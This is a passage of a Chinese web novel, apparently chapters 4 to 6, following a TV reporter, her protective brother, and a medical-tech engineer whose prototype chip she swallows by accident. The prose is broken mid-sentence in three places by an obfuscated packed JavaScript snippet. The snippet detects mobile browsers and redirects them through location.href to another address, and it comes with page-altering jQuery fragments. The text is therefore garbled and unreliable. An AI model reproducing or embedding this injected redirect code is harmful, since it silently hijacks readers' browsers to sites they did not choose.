李珀抬手虚点了下商拯挺拔的鼻梁,献宝似的从怀里掏出一张烫金的邀请函,“我给你送这个来的!” 见商拯翻起眼皮直往后躲,李珀二话不说就缠了上去,“这可是孙院士亲自叫我转交给你的,他老人家今晚上没见着你来,那个失望呀!”为了突出孙院士的失望,他不惜忍痛,将大腿拍得啪啪响。 “是昨天晚上,”商拯难掩嫌弃,只瞄了眼电子屏幕上的时间,强调道,“李总,现在已经快凌晨两点了。”说完,他长腿一迈大步流星地往办公室走去。 李珀这会儿还晕得厉害,全凭本能地拽着他跟了进去,“你得好好准备讲座的课题,咱今年年底的奖金发不发得出可全靠你了。” 顶创生命科技是国内一支新兴的“高科技医疗设备研发制造”团队,上市短短三年,他们便犹如异军突起般,迅速抢占了众多外资持股企业的市场份额,经营范围从“生命信息支持”到“数字超生”,小而精却无孔不入。 在此期间,商拯作为顶创特聘的微电子科学技术专家,任总工程师,带领团队连连突破无数技术难题,揽获众多国内外大奖。 李珀是顶创的创始人之一,主要负责企业商务,如果说李珀是即主内又主外,那么商拯就是既不主内也不主外,他只是单纯地充分利用着顶创的资源,研究自己感兴趣的课题,心情好的时候,就将一部分研究成果慷慨地转交给李珀。 但按李珀的话讲,即便是商拯什么也不做,只要他在顶创一天,那就是顶创的一面金字招牌。 “我不去。”商拯不假思索,“如果你想‘N9’在明年顺利投产的话,就别烦我。” “阿拯,做生意不能只考虑明年的事,你也替我考虑考虑今年的KPI嘛!” 商拯精神高度集中了整天,此刻已然难掩倦意,他痛苦地闭上眼睛,仰面无奈地思考,为什么最近身边的人总是一个比一个难缠? 关键是,他最拿难缠的人没办法。 在精神与肉/体双双失守的当下,他只能咬着后槽牙,求饶般地冲李珀点了头。 4. 第四章 一辆银灰色保时捷911,沿着临郊森林公园的河滩,足足兜了两圈,才视死如归地拐入A市半山有名的富人区。 穆语将车子驶入陈亦然家独立的地下车库,这头还没停稳,就见那厮踢着个拖拉板,噼里啪啦地往这边奔来。 “哇!你去矿上挖煤了?把我车弄这么脏!” 松垮背心花裤衩是陈亦然夏天的标配,栗色的头发点了炮仗似的杵在那,一看就是出门喷了半瓶发胶,回家没洗头就睡了的邋遢样。 车子在过火后的金鸡大厦外停了大半天,会脏一点也不稀奇。 陈亦然在穆语面前大多数时候都是邋遢的。 但可气的是,明明陈亦然小时候生得像只野山猪,又黑又壮,如今却越发肤白腿长起来。 凭什么他可以这么轻松地变成漂亮小孩,而自己却为了保持美丽每一天都很辛苦! 想到这,穆语没好气起来,“你怎么从我家出来的?” “从大门出来的。” “废话。” 陈亦然咂了下嘴,“我不是那个意思,我下楼的时候你哥冷不丁地就,”他把脸一板,模仿得惟妙惟肖,“‘她去哪儿了?’我都快吓尿了好吗!” “然后呢?你就把我出卖了?”穆语气鼓鼓地揪住陈亦然的大拇指,咬牙就往外掰。 “哎哟,我那不叫出卖,你哥那么吓人你让我怎么办!” “你就不知道多帮我说几句好话!” 消防战士焦黑的躯体,过火现场刺鼻的气味,哥哥失望的眼神,还有田七鲜有垂头无言的样子,那些画面重重压在穆语心上,积攒了整天的疲惫与情绪,在此刻决堤般地倾泻下来。 穆语急得直掉眼泪,“他今天一个电话都没打给我,肯定气坏了,我现在可怎么回家呀?” 穆语从来不是穆谨言口中什么娇气的玻璃娃娃,她从不争强好胜,但绝不软弱,拿定的主意,无论如何都会坚持,待人接物处处透着柔韧,表面上是迷糊了些,心思却是极细的,只是卯起劲来不考虑后果,总到事情做完才开始后怕。 陈亦然见她突然大哭起来,倒是一点也不惊讶。 穆语私底下本来就是一哭包,成天感情充沛得要命,扯到她哥的事情更是容易上纲上线,但不管穆语平时有多爱哭,每次见着她哭,都还是不落忍的。 “小语,”他一手让她掰着,一手伸出去拍拍她的脑袋,“你哥他没生气,他肯定是太忙了,咱不哭了成吗?” 穆语还抽抽搭搭地打嗝,重复着刚才的话,“可他今天……一个电话都没打给我……” 她垂眸,眼泪珠子黏在睫毛上将落未落,像是忽地想起了什么,“陈亦然,今天几号?” “二十二,二十三?” “……我知道他在哪了……”片刻沉默后,穆语轻轻吐出几个字,鼻头又红了起来。 陈亦然见状,这才后知后觉,“啊!对了,今天是……” 穆语点点头,胡乱抹了把脸泪,“是,我去找他。” “小心点开车。” 穆语系好安全带,摇下车窗,冲陈亦然扁了扁嘴,“对不起,我刚才不应该吼你。” “没关系,我确实没办法背叛你哥。”说完,陈亦然迅速收回自己差点被车窗夹到的手指。 ***** 穆语驱车赶到城市另一端所在的高新区时,已经接近凌晨两点。 穆谨言手机关机,她不确定他是否还在,因为只有他心情不好的时候,才会在那个地方待得特别久。 玻璃幕墙包围的园区建筑群中,穆语总能准确地找到他们常去的那幢。 顶楼平台上,穆谨言迎着夏夜湿热的风,将手中未吸完的香烟碾灭。 穆语来的时候,他就在楼顶看见她了。 他背对穆语坐着,黑色衬衣几乎将他与黑夜融为一体,平日一丝不苟地发丝被风吹得凌乱,手边点完的烟蒂攒了很多,几听啤酒罐也随意地倒在一边。 “哥!”穆语朝他小跑着过来。 他闻声回头,蹙眉不满地教训她,“好好走路,不要在楼顶上跑。” “对不起,”穆语接过哥哥递来的大手,紧挨着他坐下,抬头满眼抱歉,“对不起,我今天光想着偷跑出去,都忘记……” 穆谨言的胳膊随意搭上妹妹的肩膀,边指了指远处一片老旧的厂房,打断她,“你说我们到底在那里建个什么?” 穆语一愣,顺着他手指的方向望去,在周围设计感十足的崭新建筑群中,那个地方确实显得格外突兀。 她转了转眼珠子,大腿一拍道:“这个问题问我,就算你找对人了。” 说着,她骄傲地拍了拍胸脯,“穆语,哥伦比亚大学新闻系毕业,从事电视媒体行业三年以来,累积了许多与人民群众面对面交流的经验,倾听了来自社会各界人士不同的声音,我是非常了解广大人民群众需求的!” 穆谨言眼睛里盛满笑意,又拎起一罐啤酒打开,“哦?我都忘记自己有这么一个优秀的妹妹了,这么优秀的妹妹都不知道像谁。” 穆语从善如流,“这还用说吗!哥哥如此优秀的话,妹妹就算稍显逊色,那也非平常人可以比拟。” 穆谨言轻笑,无奈摇了摇头,伸手一把捏住她的脸蛋,“出门少说自己像我,我脸皮可没这么厚。” “那是不是又多了一幢楼啊?”穆语指着右手边一座鹤立鸡群的大厦问道。 “嗯,这地方这两年发展得快,周围就剩下咱们了。”他望向远方,陷入沉思。 近两年,A市高新区内迅速崛起了众多创业园,他们像取暖般团团紧促,在日间不断传递出新鲜且澎湃的活力,但在此时,却是一派萧索的味道。 不远处的城市高架,直至深夜也像银河般闪耀着,不费吹灰之力地给整座城市镶上条璀璨的边。 人们似乎很容易忽视,在偌大的城市角落,还有这么一个地方,聚集着许许多多渺小又伟大的梦想。 “我不是一直想弄明白,你大伯在世的时候想在这里建个什么,”脚下灯牌的光固执地投映在穆谨言颊边,他深吸一口气,“但是今天,突然不想知道了。” 穆语望着他,眼睛亮晶晶的,“哥,”不追问他不愿吐露的心事,不堆砌言不尽意的宽慰,是兄妹两人的默契,穆语拼命忍住想哭的冲动,“昨天晚上,金鸡大厦失火了。” 穆谨言回眸,蹙眉点了点头,“恩,我看到报道了。” “有一名消防员……直到今天早上,我们去现场拍摄的时候,他们才找到他。”穆语眨了眨眼睛,想到一个年轻的生命,就这样在最好的年华戛然而止,终于还是忍不住落下泪来,“王警官说,他今年只有二十一岁。” 二十一岁,同奋斗在这方天地的大多数年轻人一样的年纪。 穆谨言动容地拢了拢妹妹颤抖的肩膀,默默听她颠三倒四地诉说着自己难熬的一天。 “还有七哥,今天他收工以后,一句话也不跟我说,我很担心他,可是我什么也做不了。” “我总是叫你尊重我,自己却什么都没有替你分担,你已经够辛苦了,我还这么自私……” 穆语吸了吸鼻涕,“哥,虽然大伯和伯母过世的时候,我还小,但我答应过你,永远都会记得他们。”她说到这小嘴一撇,脑门抵在穆谨言肩膀上又哭了起来,“可是我今天居然忘记要陪你一起……” 穆谨言见状好笑地拍了拍她的后脑勺,“我又不是在气这个……” 穆语吸着鼻涕抬起头来,“所以你果然在生气嘛!” 这下穆谨言彻底被眼前的活宝给逗笑,无奈地摇了摇头。 那年穆谨言只有九岁,父亲兴高采烈地驱车,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443398|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母子二人参观眼前这片废弃的厂房,对于九岁的他而言,这一方土地显得无比宽广。 父亲张开双手描述着一个相当美好的未来,那意气风发的样子,永远定格在穆谨言脑中,岂料返程途中发生的意外,却将他们远远带离了他今后的所有人生。 穆语的大伯和伯母在意外中不治身亡,小小的穆谨言断了两根肋骨,被送进ICU。 三天的时间里,穆云峰曾先后接到六次病危通知。 万幸穆谨言大难不死,穆云峰便也理所应当地接过孩子的监护权。 为了永远铭记逝去的家人,穆云峰与夫人蒋伶将公司更名为大哥的名字——“云启”。 一岁多的小穆语突然多了个大哥哥,便成天都粘着他陪自己玩,也就是那时,穆语像一道钻进乌云里的光,照亮了穆谨言最煎熬的日子。 十八岁时,穆云峰将大哥临终前取得的这片土地归还给他。 站在父亲临终前到过的这片厂区,他才惊讶地发现,这里并非像记忆中那样宽广。 他开始学会直面自己软弱的地方,因为想象会夸大美好,同样会夸大痛苦。 他的眸子温暖起来,又习惯性地伸手去捏穆语的脸颊,“时间过得真快,小穆语都这么大了。” 穆语任他这么掐着,含糊不清地问道:“哥,有什么是我可以帮你的吗?” 她的大眼睛里闪烁着诚恳,害他一时间竟不知从何说起,只得摇起头来,“没什么,就是上面盯着这块地动工,公司又有个项目一直谈不下来,不用担心。” “最近没怎么见着萌萌,你和萌萌吵架啦?”穆语歪头一脸八卦的样子。 “关她什么事?”穆谨言一提到于助理,就一副公事公办的样子,穆语早就参透这其中的奥秘。 “我说你一把年纪也是时候定下来了,我也想要个嫂子啊!”她小声嘀咕,“免得你成天注意力全集中在我身上,就我一人倒霉。” 穆谨言眯眼岔开话题,“你快说这地方建什么,哥送你当嫁妆,今年就动工。” “好你个穆谨言,这么着急把我嫁出去,都不说舍不得我。” 他在这头自说自话起来,“我刚认识一个教授,挺欣赏他的,要不介绍你们认识一下?” “不是吧?哥,教授你都往我这介绍,那得多大年纪了?我才不要!” “人家可是在中科院当过研究员的最年轻的教授,智商八百一表人才,你见过的,从医院送我们回家那位,要是一般人我可看不上。” 穆语拍拍屁股作势要走,“那人从后脑勺就开始冒傻气,我才不喜欢那样的呢!” 穆谨言也起身,弯腰拾起地上的垃圾,“什么‘那人那人’的,没礼貌。” “哎呀!”穆语气急败坏地跺了跺脚,“刚才不是在说你,怎么又扯到我身上了?” “还有,少开陈亦然的车,跟你说过多少次了,家里那么多车,你看不上我给你买新的,那家伙老换车,你开来开去的不熟悉,不熟悉就不安全。” 穆语翻了个白眼,知道穆谨言又要开始念经了,“哎呀,这次是特事特办,您就别念我了成吗?” “你今天是不是又没接到老穆的电话?要不是我帮你应付了他,他才是真的要念你。” 穆语这才想起爸爸那个越洋来的未接电话,有些后怕,恨不得给哥哥捏肩捶腿,“好嘛,那我帮你追萌萌啊!” “我不要。” “你已经?” “穆语,我警告你不许骚扰我助理。” “穆谨言,”她忍不住倒吸一口凉气,“你脸红的样子太可怕了!” “穆语,闭嘴。” 穆语停下脚步,哭笑不得地瞧着自己正兀自走在前面,努力掩饰害羞的哥哥。 或许是少见多怪吧?她真喜欢看他像孩子似的模样。 5. 第五章 “顶创?”穆语眉头微蹙,垂眸出神地翻着刘伟人递来的资料,有些心不在焉。 刘伟人见状,忙不迭地点头追问:“听说过吗?” 十点三刻方炙热起来的太阳,透过百叶窗的缝隙晒在穆语透明的指节上,她轻挠页角,半晌,终于下定决心似的,冲刘伟人摇了摇头,“主任,咱先别说这个了。” 她激动地站起身来,将资料一股脑全丢在办公桌上,委屈地鼓起了嘴,“您先说说您这两天给我安排的都是些什么工作啊?” 刘伟人闻言目光躲闪,冲她摆手道:“倒是不必特地谢我,你才受了伤,照顾你也是应该的,工作要循序渐进,总那么高强度的话,铁人也受不了。” “可我这根本就不算受伤,您看我脑袋上,连个印儿都找不着,我求您别照顾我成吗?” 穆语双手合十,半是焦急半是赌气地冲刘伟人拜了又拜,“我是记者,又不是编导,您老让我待在办公室,我到哪儿给您找新闻呢?” 一讲到专业,刘伟人立刻露出不认可的眼神,他敲敲桌板,语重心长地说:“穆语同志,这‘编采’可是从不分家,你刚进台里面试的时候,说想做制片人,这才工作几年就忘得一干二净?” 刘伟人捋捋头发,又扶扶眼镜,“编导工作对你今后的提升大有裨益,单凭这点,你就不仅得做,还得给我用心做。” 这厮讲得头头是道,害穆语一时竟不知如何反驳。 她大眼睛滴溜溜转得飞快,忽又拾起桌上的资料,开始讨价还价,“您说的这些以后做也不迟,但是金鸡大厦的案子不能再拖了,如果您让我继续跟,我保证能在峰会开幕前给您约到顶创的专访。” 刘伟人这头说得口水都快干了,见穆语如此坚持,忍不住重重叹了口气,态度也松弛下来,“小穆,你不是刚参加工作的实习生,应该明白金鸡大厦这个案子,就是跟出来也不一定播得出去,况且你一小姑娘,拿什么去跟人家硬碰硬?万一再出点事情,我怎么跟小穆总交代?” 穆语见刘伟人软硬不吃,急得直跺脚,“主任,这是我的工作,关他什么事啊?” 平心而论,自穆语进入电视台以来,对待工作勤勤恳恳、任劳任怨,虽不说屡立战功,但凭借亲和的外表、绝佳的临场反应能力,也替节目组拿下不少颇受关注的新闻热点。 刘伟人从她身上,能看到年轻时那个敢想敢做的自己,即欣赏又妒忌,后来无意间得知穆语“不菲”的家世,便更是打从心眼里佩服起这个姑娘,也尽自己所能给了她空间。 想到这,刘伟人有些动容,“小穆,我实话跟你说吧!你家里那边打过招呼,希望你能尽快从一线上下来,干记者风吹雨淋的,每个月拿那么点薪水,你图啥呀?” 穆语一双大眼睛迅速黯淡下来,刘伟人瞧着心里怪不落忍,咂嘴继续劝道:“编导的工作很适合你,我非常认可你的工作能力,你目前做的这些只是一个过渡和积累罢了。” 见穆语低着头半晌不说话,以为她听进去了,刘伟人再接再厉,“工作是生活重要的组成部分,有了家人的支持,才能在前进的道路上走得无后顾之忧,早早定下事业方向,那是绝对有利无弊的……” “刘主任,”穆语打断他,抬头同他对视的眼底满是错愕与探究,又渐渐泛起类似孤独的情绪,“我很抱歉听见您这么说。” 说完,她自顾转身,头也不回地冲出了刘伟人的办公室。 刘伟人陷入短暂的沉默,不知过了多久,他摸摸脑门,有些挫败地摘下眼镜。 “这孩子。” ***** 好你个两面三刀的穆谨言! “待里面那么久都说啥了?”等在门口的田七见穆语杀气腾腾地冲出来,连忙小跑着跟了上去,“你真不干啦?” 穆语扭头就是一记眼刀,“就没人盼我点好?” 她将手中的资料放下,工作证往包里胡乱一塞,刚拿起手机背包作势要走,就听见隔壁编辑部走廊传来一阵骚动。 身边几个同事闻声也纷纷凑了上去,整个新闻中心顿时一片欢腾。 穆语好奇,忍不住踮脚伸头,使劲往那处瞧。 田七仗着身高优势,扭头一眼便瞅见被同事们团团围住的麦栩,他故意用胳膊肘撑住比自己矮两头的木鱼脑袋,“你偶像回来了。” “麦姐回来了?”穆语顾不上计较,挥掉田七撑在自己头上的胳膊肘就跳起来看。 只见麦栩一身干练西装,被簇拥在人群中心,手中捧着同事们准备的礼物,眼中盛满温柔的笑意。 穆语也跟着笑起来喃喃道:“我怎么不知道麦姐要回来……” 麦栩曾任电视台新闻中心主编,穆语刚进台里时,与她有过一段短暂的共事。 穆语眼中的麦姐为人爽利、行事果决,原则性极强,她一度将麦姐奉为自己学习的标杆。 后来麦栩被调去了台里的纪实栏目,由她担任总导演、制片人的医疗题材新闻纪录片——《左右人间》历时两年的制作周期,一经播出,便获得了口碑与收视的双丰收。 制作后期,麦栩即将临盆,半夜羊水破在了剪辑室,多亏穆语及时发现,才将她送进了医院。 没想到麦姐恢复得这么快,穆语远远望着人群中依旧光彩夺目的前辈,咬唇顾不得佩服,脚尖一转便朝电梯口跑去。 两天前,一家名为“立文日爆社”的营销号,在线上发布了一篇关于“金鸡大厦‘7·23’重大火灾事故”的调查报告,文中多次提及事故原因,将矛头颇具引导性地指向工程分包单位的施工人员,指控工人施工过程中对机械使用不当,酿成大祸。 消息一出,立刻在社交平台掀起巨大波澜,截至今日,话题讨论量已超41万。 各种声音在数字与光纤的交错下,源源不断地涌向群众掌中的小小机器,质疑、悲悯、愤怒、冷漠、骚扰。 在营销号不负责任地报道下,“幸存者”不再是被上天眷顾后,侥幸存活下来的小小生灵,而是千夫所指,被肆意谩骂、人肉的“罹难人”。 同事们都在为案件四处奔波,穆语却被困在办公室里,她气不过穆谨言的自以为是,更痛惜被刘伟人丢掉的信念,竟比她以为的还要多。 麦栩好不容易冲破重重阻碍,来到田七这边,却不见穆语人影,“小语呢?我给你们带了礼物,刚才还看见她在。” 女神当前,田七不由紧张地吞了吞口水,大脑一片空白,张口便答:“像是去寻仇了。” “寻仇?” ***** 穆语气势汹汹地赶到临东CBD中心,顶着烈日,大步穿过天桥上来来往往的游客与步履匆匆的白领,一路暴走,笔直杀向不远处云启资本的大楼。 分明是午餐时间,云启一楼的大厅内,却除了保安,几乎没见到什么人。 穆语倒不觉稀奇,这间公司的管理,是业内外出了名的沉闷无聊。 也难怪,穆谨言这样专横跋扈的领导,要不是为了他几个臭钱,谁稀罕伺候?! 她愤愤刷卡通过闸机,又毫不客气地按下电梯间内属于穆谨言的专梯按钮,等了一会儿,见电梯迟迟没有动静,又蹙眉去按另外几部,这才发现,所有电梯竟然全部停了载? 她一面回拨穆谨言的电话,一面转身朝消防通道的楼梯口跑去。 穆谨言的办公室在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443399|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大楼十一层,她吊着口气奋力向上,其间拨给他的三个电话都没有被接通。 “穆谨言,你给我等着!”穆语满头大汗,气喘吁吁地从牙缝中挤出几个字。 离开消防通道后,穆语疾走几步,上前一把推开穆谨言办公室虚掩的大门,却不见里面半个人影,就连平日时刻端坐在助理室座位上的于夕萌也不见了? 怪事一桩! 穆语在穆谨言偌大的办公室内兜了一圈又一圈,就连厕所也没能找着半只蚊子。 她双手撑住膝盖,弯腰缓了口气,又开始满屋子找水喝。 水壶空空如也,一大冰箱的凉水她偏喝不得,见穆谨言桌上放着那只平日常带在身边的保温杯,便抄起来就猛灌几口,喝了个精光。 “穆小姐?”此时,门口传来于夕萌淡淡疏离的声音。 穆语“咕咚”一声,咽下口中含着的水,冲她挥手招呼道:“萌萌,快,快帮我弄点水,你们公司搞什么鬼?故意趁我来的时候大停电,我哥呢?” 于夕萌盯住穆语手中捏着的杯子,破天荒地怔了一跳,“您喝杯子里的水了?” 穆语点头,有些纳闷,今天她为什么没有跟自己强调——“叫我于助理”。 于夕萌喉头一哽,“全喝了?” 穆语看了眼杯子,又瞧了瞧萌萌,恍然大悟地解释道:“哦!对不起啊!我例假来不敢喝凉的又没找着水,如果你介意的话,我以后再也不……” 这时门口隐隐传来人声,穆谨言推门走在前面,正侧身同边上一个高大的男人说着什么,扭头见穆语来了,有些意外地挑眉,“你怎么在这?” “你们公司怎么回事啊?半天一个活人也没见着,电梯全停了,我腿了十一楼,可累死我了!”穆语一见到哥哥,全然忘记来意,忍不住泼皮撒娇连声抱怨。 穆谨言微微侧眸,奇异地瞧了眼怔在一旁的于夕萌,一面没脾气地安抚道:“今天公司消防演习,刚才所有人都在楼后广场那,所以电梯停了,办公室也没人。” “穆总,穆小姐喝了杯子里的水。”于夕萌打断他们的对话,语气还算镇定。 穆谨言闻言,腾地瞪大了眼睛,不可置信地瞧向穆语。 李珀闻言,更是一个箭步就冲了上去,夺过穆语手中的杯子,打开手机的闪光灯就往杯底探。 穆语吓了一跳,本能地缩起脖子退后两步,这头还没扶稳桌角就被哥哥一把拽了过去,“小语张嘴。” 穆谨言额头沁出一层薄汗,满脸写着没在开玩笑的样子,令穆语意识到事态严重。 她皱了皱鼻子,眼中霎时便蓄满水汽,“穆谨言……杯里有毒?” “没有,张嘴。”穆谨言大手一挥,胡乱给她抹了把眼泪。 李珀也凑过来,扒着她的嘴瞧了半天,头痛地叉腰来回踱了几步,无比绝望地咬着手指自语道:“阿拯会杀了我。” 此时,比起掉单子,李珀更怕被商拯知道,他私自把未上市的产品带出了实验室。 穆谨言思索片刻,拿起躺在办公桌抽屉里的手机,冷静吩咐,“于助理,叫司机在楼下等我们,联系孙医生,我们马上过去。” 穆语倚着桌角,想起自己原是来找穆谨言算账的,现在却轮到她莫名其妙地被带去看医生,委屈地红着眼睛擤了把鼻涕。 李珀这边还想尽力弥补,他拦住穆谨言,“穆总,还是去我们研发中心合适,我们那边有产品开发,也有专业医疗团队,知根知底的,检查也更全面些。” 穆谨言眯眼与李珀这只老狐狸对峙,心知他不过是为了产品的保密性,才提议让穆语去研发中心接受检查,满怀不悦,却偏偏没有拒绝的道理。 6. 第六章 一小时前,云启资本总经理办公室。 穆谨言用李珀递来的镊子,小心翼翼地夹出盒中一颗被凝胶包裹,直径不过5毫米的微型电子芯片。 “它就是根据我们去年在德国获奖的凝胶式概念,进一步升级后的芯片样本,目前在动物实验的过程中,数据表现相当稳定。” 穆谨言凝神凑上前去仔细分辨,于夕萌在一旁见状,不由替他将桌上的台灯又向里挪了挪。 他兴味盎然的模样,令李珀颇为得意,努嘴继续介绍道:“不出意外的话,明年年初就可以投产,先期将与动物保护机构合作,试用于保护区内标本的健康监控与定位。” “如何激活?” “标本体温与表面湿度达到阈值,就能被监测到生物信号。”说着,他拿起芯片保护盒,指出上面的串码,“每颗芯片对应一组独立编码,信息反馈通过手机应用程序就可以实现,我们会根据客户需求,订制数据采集模型。” 穆谨言闻言,冲李珀扬了扬眉角,不等对方反应,便垂眸将芯片丢进了手边的保温杯里。 李珀见状连忙阻止,却为时已晚,惊得张着嘴,半晌没说出话来。 穆谨言靠向椅背,好整以暇地等待对方的下一步演示,“怎么?舍不得?” 想从他这圈钱,可没那么简单。 说来惭愧,李珀不是舍不得,他只是怕被商拯发现。 将未上市的产品带出实验室,无论从经营角度或是科研角度出发,皆为大忌。 但他太渴望拿到云启的投资了。 在明知穆谨言想从自己公司挖角商拯,多于投资的情况下,李珀只能孤注一掷。 “穆总,好歹我也算半个工程师,这种测试环境,确实不符合规范。”事已至此,李珀索性一不做二不休。 他朝穆谨言投去一个稍安毋躁的眼神,打开手机上的应用模型扫描串码,却半晌未见任何反应。 偌大的办公室内,气氛变得微妙起来,李珀尴尬地搔了搔眉毛,抿唇挽尊道:“我手机上的这部分程序还只是个雏形,不太稳定,但我们研发中心的大门,是随时向您敞开的。” 桌面台灯射出的光线,在消防警铃与公共广播响起的同时熄灭,打断二人的交谈。 穆谨言起身整理好衣角,“今天我们公司与消防部门联合演习,要麻烦您也配合一下。” “那是自然。”李珀闻言,竟是松了口气,麻利起身与穆谨言一同向外移动。 片刻,云启几乎全体员工在大楼背面的广场上站定,在消防支队官兵的带领下,一同学习了灭火常识与自救技巧。 ***** 午后日头正盛,穆谨言乘坐的迈巴赫S680,四平八稳地朝顶创研发中心的方向驶去。 穆语歪头红着眼睛,倚在后座的车门边上,恍惚望向车窗外飞速闪过的街景,嘴巴撅得老高,还不时抽噎两声,“穆谨言,我怎么会有你这么倒霉的哥哥,我要离家出走。” 她的表演过于浮夸,总能被穆谨言一眼看穿。 “穆语,你少在那边借题发挥。”他胳膊撑在后座另一端的门把上,也赌气似的望着窗外。 司机老周一副见怪不怪的样子,目不斜视,紧跟着前方李珀带路的汽车尾灯。 “专横!暴君!!别人不敢怒也不敢言,我穆语可不怕你!”穆语说着便伸腿,作势要向穆谨言的膝盖踢去,“我今天就把话撂这,你要是再敢干涉我的工作,我就搬出去住。” 穆谨言斜眼,带着一阵阴风扫了过去,“你敢。” 穆语见状悻悻收了收腿,只壮着胆子轻轻蹬了他一下,“就敢。” 穆谨言簇新的西装裤,顿时印上个灰白色的鞋印,他忍无可忍,咬牙青筋暴起,“穆语,如果没有我总替你瞒着,家里那二老早就让你下岗了,我劝你不要再跟我提那么多要求。” 两辆车一前一后下了高架,又在林荫路上飞驰片刻。 穆语的注意力被不远处院门前的标志所吸引,觉得有些眼熟,可惜还未来得及看清全称,司机便调转车头拐了进去。 穆谨言掸掸裤腿上穆语蹬出的鞋印,打开车门,还不忘扭头威胁道:“你工作的事情,到此为止,如果还想继续在电视台干下去,至少要做好自己上司安排的业务。” 穆语气得七窍生烟,拽住他的衣角,紧跟着钻出车门不依不饶,“穆谨言,不要以为只有你会要挟别人,我只是不屑与你为伍,你的小辫子还不是一抓一大把!” “呵,虚张声势。”穆谨言不动声色地将衣角从穆语手中扯了出来。 “你要不要试试看?”穆语凑到穆谨言跟前,低声一字一顿,“比如,试试我会不会告诉于助理——你、喜、欢、她。” “穆语!”穆谨言闻言气急败坏,反手就去抓她后脖子。 李珀这头刚下车,还未站定,就见一个人影向他飞扑过来,“救命啊!我哥要杀我!!” 静谧的午后,研发中心院内那股庄重且神秘的气息,愈加浓厚。 夏风拂过郁郁葱葱的树冠,将楼前草坪上泥土的味道吹了过来,笑闹声在风中四散,将拢在院落间的那层薄翼,悄悄掀开一个角。 李珀一路绷紧的神经,在这氛围中松弛不少,与穆谨言交往这些时日,未曾听他主动提起过这个妹妹,毕竟是大户人家,关系复杂,兄妹间感情不和也并不稀奇,但现在看来,是很宝贝这位小姐了。 想到这,李珀方才放松下来的神经,又重新绷了回去。 他不敢怠慢,引二人笔直去往楼内商拯所在的办公室,一边介绍:“穆总,我们研发中心虽然刚落成不久,但设施配备已经相当完善,您大可以放心。” 站在商拯办公室门前,李珀已是汗流浃背,他鼓足勇气敲门朝里面探了眼,见人果真不在,只好安排穆语和穆谨言在办公室内稍作等候,自己转身小跑了出去。 ***** 李珀早有些慌不择路,来也匆匆去也匆匆的,根本没顾上吩咐人招呼。 穆语这会儿难得乖巧地坐在办公桌前的真皮沙发上,见哥哥正自顾生着闷气,说什么也不理她,只好无聊地环顾四周,打量起科学家的办公室来。 办公室内空间不算太大,但有一扇几乎占据整面墙壁的窗户,工作时,回头便可以望见院门前那片开阔的草坪。 室内光线极好,穆语面前的茶桌,在阳光的直射下竟也纤尘不染,半点招待过客人的痕迹也没有。 左手边一张巨大的金属实验台,反射出冷冰冰的光,台面上的仪器被归置得整整齐齐,但穆语身后办公桌上的各种文献书籍,却凌乱地一路从桌上铺散到桌下。 办公室主人的名牌像是被挤得无处安放,就那么随意地丢在地上,穆语将头歪过了90度,才看清镶在上面的几个大字——顶创生命科技总工程师商拯。 等等!顶创? 穆语眼前一亮,用力摇晃身边穆谨言的胳膊,“哥哥哥!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443400|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆谨言正撑着头不知在愁什么,突然被她这么一扯,吓得不轻,露出个极不耐烦的表情:“干什么?” “哥!这个顶创就是……那个顶创吗?”穆语难掩激动,这个那个的说了半天,也没能说得清楚。 穆谨言蹙眉抽出胳膊,“穆语,你的神经可以再大条一点。” 见穆语在那边独自窃笑,他简直匪夷所思,刚才又哭又闹,转眼就忘记自己肚子里还有个他们完全不了解的怪东西——不愧是她。 穆语这头刚打定主意赖上“顶创”,门口便传来由远及近的脚步声。 穆谨言正色,抬眸起身抚平肘间的皱褶,穆语也跟着扭头,满脸期待地望向门口。 商拯推门进来的时候,脸色阴沉得吓人,李珀紧跟在后面,低着头像个做错事的孩子,与之同行的还有一位身穿白色大褂,面容姣好的女人。 在电视台工作这么些年,穆语什么明星大腕的也见过不少,但眼前这位白衣一袭的素净女人,也太好看了! 她栗色的长发松松挽在耳后,发梢淌过修长的脖颈,分明未施粉黛,眼里却像盛了一泓春水,梨涡甜甜轻点在勾起的唇角边上,被风那么一吹,穆语仿佛能闻见,从她身上飘来皎月星辉的味道。 对方像是注意到她的视线,回眸冲她投来温柔一笑,穆语也忍不住站起身来,直冲着人家傻笑。 “穆总,这位是黎薇宁黎医生,这位是我们总工程师商拯,穆小姐应该是第一次见。”李珀向穆语简短介绍,穆语这才回过神来,发现屋里几人的视线,正全落在自己身上。 商拯上前几步,将手中由于心急,不小心从实验室带出来的头戴式放大镜,胡乱丢在实验台上,扭头示意穆语,“穆小姐,请配合一下。” 